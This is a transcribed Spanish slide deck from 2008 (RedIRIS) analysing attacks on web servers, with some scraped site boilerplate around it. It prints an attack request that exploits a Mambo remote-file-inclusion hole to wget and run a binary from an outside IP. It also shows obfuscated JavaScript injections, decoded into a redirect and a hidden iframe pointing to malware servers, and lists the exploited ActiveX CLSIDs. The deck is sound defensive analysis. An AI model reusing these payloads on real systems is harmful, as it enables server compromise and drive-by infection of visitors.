1 / 29

Tendencias en ataques de servidores HTTP

Tendencias en ataques de servidores HTTP. Grupos de Trabajo Mayo 2008. Índice. Ataques a clientes y usuarios finales. Estudio de p áginas maliciosas en RedIRIS Código JavaScript ¿Qué pasa despúes ? Resolución. Introducci ón.

kiora
Télécharger la présentation

Tendencias en ataques de servidores HTTP

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Tendencias en ataques de servidores HTTP Grupos de Trabajo Mayo 2008

  2. Índice • Ataques a clientes y usuarios finales. • Estudio de páginas maliciosas en RedIRIS • Código JavaScript • ¿Qué pasa despúes ? • Resolución

  3. Introducción • Los usuarios finales siguen siendo el objetivo mayoritario de los ataques. • Menor protección • Mayor número • Las medidas de seguridad “perimetral” clásicas son cada vez má efectivas. • Mayor concienciación sobre uso de cortafuegos. • Pocas vulnerabilidades a nivel de S.O.

  4. Ataques vía HTML/ Javascript • Cada vez se emplea más el navegador WWW como medio para comprometer un equipo. • Dificultad en el filtrado de código malicioso • Interelación entre plugins y navegadores. • Escasa concienciación del usuario. • Inicialmente basados en ataques de ingeniería social o páginas WWW gratuitas de contenido dudoso. • El atacante al final instala un troyano/keylogger/bot, etc..

  5. Ataques vía HTML / Javascript 2 • Mpack en junio del año pasado cambia la tendencia. • Los usuarios acceden a páginas infectadas • Son reencaminados a un servidor • Vía CGI/PHP se envía un exploit • El usuario se infecta con el malware

  6. ¿cuál es la incidencia de esto en RedIRIS?

  7. Estudio de páginas maliciosas • Recepción de alertas indicando contenidos maliciosos en páginas www: • No son contenidos “binarios” (.exe). • No se trataba de bots o código PHP) GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://213.240.162.170/cmd.gif?&cmd=cd%20/tmp;wget%20213.240.162.170/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo| HTTP/1.1 • Contenidos HTML normales • Páginas de asignaturas de usuario • Páginas personales…

  8. Página de ejemplo

  9. Aparentemente con páginas WWW normales, ya sea portales WWW, información personal, asignaturas, etc. • Un estudio más detallado muestra la inclusión de código Javascript en las páginas.

  10. JavaScript ofuscado

  11. ¿Qué hay aquí ? • <script language="javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%0D%0A%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%0D%0A%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%0D%0A%7D%0D%0A%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fxjoepx/mpdbujpo%264E%2639%2633iuuq%264B00iju/dmjdl3117/dpn0jo/dhj%264G%2633%2Co%2C%2633%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2631%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637ojdif%264E%2633%2CfodpefVSJDpnqpofou%2639l%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264E%2633%2CfodpefVSJDpnqpofou%2639l%263%3A%263%3A%264C%264D0tdsjqu%264F1'); • </script>

  12. ¿Qué hay aquí ? • Document.write es la forma de ejecutar el código JavaScript ya que fuerza el interprete HTML a evaluar la expresión como si fuera una página nueva. • Método usado para “ejecutar el código ofuscado”. • En este caso: la función unscape convierte los %XX en el carácter con código hexadecimal correspondiente

  13. ¿Más legible ? • <script language="javascript">document.write(unescape('<script language="javascript"> • function dF(s){ • var s1=unescape(s.substr(0,s.length-1)); • var t=''; • for(i=0;i<s1.length; i++) t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1, • 1)); • document.write(unescape(t)); • } • </script>')); • dF('&4Dtdsjqu&4Fxjoepx/mpdbujpo&4E&39&33iuuq&4B00iju/dmjdl3117/dpn0jo/dhj&4G&33,o,&33&37tfpsfg&4E&33, fodpefVSJDpnqpofou&39epdvnfou/sfgfssfs&3:,&31&33&37qbsbnfufs&4E&35lfzxpse&37tf&4E&35tf&37vs&4E2&37IUUQ`SFGFSFS&4E&33,fodpefVSJDpnqpofou&39epdvnfou/VSM&3:, &33&37ojdif&4E&33,fodpefVSJDpnqpofou&39l&3:,&33&37efgbvmu`lfzxpse&4E&33,fodpefVSJDpnqpofou&39l&3:&3:&4C&4D0tdsjqu&4F1'); • </script>

  14. Todavía esta ofuscado • Con un pequeño script se puede ver que el resultado es: • %3Cscript%3Ewindow.location%3D%28%22http%3A//hit.click2006.com/in.cgi%3F%22+n+%22%26seoref%3D%22+encodeURIComponent%28document.referrer%29+%20%22%26parameter%3D%24keyword%26se%3D%24se%26ur%3D1%26HTTP_REFERER%3D%22+encodeURIComponent%28document.URL%29+%22%26niche%3D%22+encodeURIComponent%28k%29+%22%26default_keyword%3D%22+encodeURIComponent%28k%29%29%3B%3C/script%3E0 • Y tras “unscaparlo de nuevo”: • <script>window.location=("http://hit.click2006.com/in.cgi?"+n+"&seoref="+encodeURIComponent(document.referrer)+ "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&niche="+encodeURIComponent(k)+"&default_keyword="+encodeURIComponent(k)); • </script> • Nada bueno puede haber en hit.click2006.com :-)

  15. Más típico: • <script type="text/javascript"> • function C76FB28CC82671EBFD7A8C0CBFEFEB(F6FA85D2E2B • 376D586B){var A914188A8C5080E497B63DD7906A8=16;return(parseInt(F6FA85D2E2B • 376D586B,A914188A8C5080E497B63DD7906A8));}function C76FB28CC82671EBFD7A8C0CBFEFEB(FCE0C1210B62BCEF54A5){function A21EA9 • 779BDE63844C(){var D4B20A5CA56BD6AE13B5DE6=2;return D4B20A5CA56BD6AE13B5DE6;}var D8DC63A1B5E4FB99="";for(C4BD81F471A9DF • 82907E=0;C4BD81F471A9DF82907E<FCE0C1210B62BCEF54A5.length;C4BD81F471A9DF82907E+=A21EA9779BDE63844C()){D8DC63A1B5E4FB99+ • =(String.fromCharCode(B39BC308E05867F791F9934E(FCE0C1210B62BCEF54A5.substr(C4BD81F471A9DF82907E,A21EA9779BDE63844C()))) • );}document.write(D8DC63A1B5E4FB99);}C76FB28CC82671EBFD7A8C0CBFEFEB("3C696672616D65207372633D687474703A2F2F627579747261 • 666669632E636E2F696E2E6367693F31312077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696 • 672616D653E"); • </script>

  16. Más típico: • <script type="text/javascript"> • function C76FB28CC82671EBFD7A8C0CBFEFEB(F6FA85D2E2B376D586B) • {var A914188A8C5080E497B63DD7906A8=16;return(parseInt(F6FA85D2E2B • 376D586B,A914188A8C5080E497B63DD7906A8));} • function C76FB28CC82671EBFD7A8C0CBFEFEB(FCE0C1210B62BCEF54A5) • {function A21EA9779BDE63844C(){var D4B20A5CA56BD6AE13B5DE6=2;return D4B20A5CA56BD6AE13B5DE6;} • var D8DC63A1B5E4FB99=""; • for(C4BD81F471A9DF82907E=0; • C4BD81F471A9DF82907E<FCE0C1210B62BCEF54A5.length; • C4BD81F471A9DF82907E+=A21EA9779BDE63844C()){D8DC63A1B5E4FB99+ • =(String.fromCharCode(B39BC308E05867F791F9934E(FCE0C1210B62BCEF54A5.substr(C4BD81F471A9DF82907E,A21EA9779BDE63844C()))) • );} • document.write(D8DC63A1B5E4FB99);} • C76FB28CC82671EBFD7A8C0CBFEFEB("3C696672616D65207372633D687474703A2F2F627579747261666669632E636E2F696E2E6367693F31312077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696 • 672616D653E"); • </script>

  17. Más típico: • <script type="text/javascript"> • function HEXDECIMAL(VALOR) • {var DIVISOR=16;return(parseInt(VALOR,DIVISOR));} • function DECODIFICA(CADENA) • {function DOS(){var DATO=2;return DATO;} • var CADENA_DECOD=""; • for(INDICE=0; • INDICE<CADENA.length; • INDICE+=DOS()) • { • CADENA_DECOD+=(String.fromCharCode(HEXDECIMAL(CADENA.substr(INDICE,ADOS()))) • );} • document.write(CADENA_DECOD);} • DECODIFICA("3C696672616D65207372633D687474703A2F2F627579747261666669632E636E2F696E2E6367693F31312077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E"); • </script>

  18. Conversor de hexadecimal a caracteres: • Al final siempre tiene que haber: • Un Tag de script, <script… • Un document.write para llamar a otro servidor. Al final un iframe hacia: http://buytraffic.cn/in.cgi?11

  19. http://buytraffic.cn/in.cgi?11 • Sistema de explotación • Ya reportado en google: • http://ddanchev.blogspot.com/2008/02/yet-another-massive-embedded-malware.html • Este servidor comprueba: • Direcciones IP que intentan conectarse. • Solamente admite tres intentos por IP. • Navegador WWW que intenta conectarse. • Nada en caso de firefox • Error en caso de wget • Código malicioso (si se trata de un internet explorer)

  20. Vulnerabilidades: • 'BD96C556-65A3-11D0-983A-00C04FC29E36', http://www.milw0rm.com/exploits/2164 Remote MDAC MS06-014 • 'BD96C556-65A3-11D0-983A-00C04FC29E30', RDS • 'AB9BCEDD-EC7E-47E1-9322-D4A210617116', Bussines Object Factory • '0006F033-0000-0000-C000-000000000046', Outlook • '0006F03A-0000-0000-C000-000000000046', Outlook … • '6e32070a-766d-4ee6-879c-dc1fa91d2fc3', • '6414512B-B978-451D-A0D8-FCFDF33E833C', • '7F5B7F63-F06F-4331-8A26-339E03C0AE3D', • '06723E09-F4C2-43c8-8358-09FCD1DB0766', • '639F725F-1B2D-4831-A9FD-874847682010', • 'BA018599-1DB3-44f9-83B4-461454C84BF8', • 'D0C07D56-7C69-43F1-B4A0-25F5A11FAB19', • 'E8CCCDDF-CA28-496b-B050-6C07C962476B', • A partir de aquí se descarga ya el malware…

  21. Datos de RedIRIS

  22. Herramientas • Wget , vía script para simular diversos navegadores (user agent, etc) • Perl para hacer scripts de conversión • Google para buscar información • Y tiempo para analizar el código Java

  23. Datos de RedIRIS • Escasa repercusión: • Solamente 10 servidores de instituciones afiliadas en el tiempo del estudio. • Principalmente: Páginas de Docentes y alumnos. • Código detectado con facilidad • Diversidad de javascript , sobre todo siguiendo el patrón 2 (codificación hexadecimal). • Solicitud de información adicional: • ¡¡ Mayor que la media de incidentes: 20% !! • De muchos otros se sigue sin tener información adicional. • ¡¡ Afortunadamente la páginas no nos las tienen que enviar !!

  24. Soluciones y Conclusiones

  25. Protecciones: • En los servidores: • Control de acceso a los servidores WWW • ¿Quién cambia una página WWW ? • ¿Desde donde accede ? • Etc etc. • Antivirus a nivel de ficheros para los servidores WWW

  26. Protecciones: • A nivel de usuarios: • Update • Update • Update (y no usar el navegador de marras )

  27. ¿ Final ?

More Related